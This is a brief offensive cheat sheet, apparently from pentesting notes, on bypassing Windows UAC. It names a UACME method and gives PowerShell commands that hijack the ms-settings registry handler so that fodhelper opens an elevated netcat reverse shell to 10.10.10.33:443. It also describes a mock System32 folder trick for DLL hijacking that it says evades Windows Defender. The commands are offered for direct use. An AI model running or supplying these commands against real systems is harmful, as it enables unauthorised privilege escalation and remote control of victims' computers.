UAC Bypass
UACME
Akagi-UACME will %99 be a win here
akagi64 61 c:\windows\system32\cmd.exeTechnique 1
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'c:\users\morph3\nc.exe -e cmd.exe 10.10.10.33 443' -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -ForceNow simply type "fodhelper" and you should have the shell.
To undo this,
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -ForceTechnique 2
This technique is pretty solid and does not get detected by the windows defender
TLDR; you can fool windows by creating a folder called c:\windows \System32\ you can put a windows binary(auto elevated ones) there and hijack dlls. There is a full list of hijackable binaries here,
You might need to compile your binary in 64bit arch
Last updated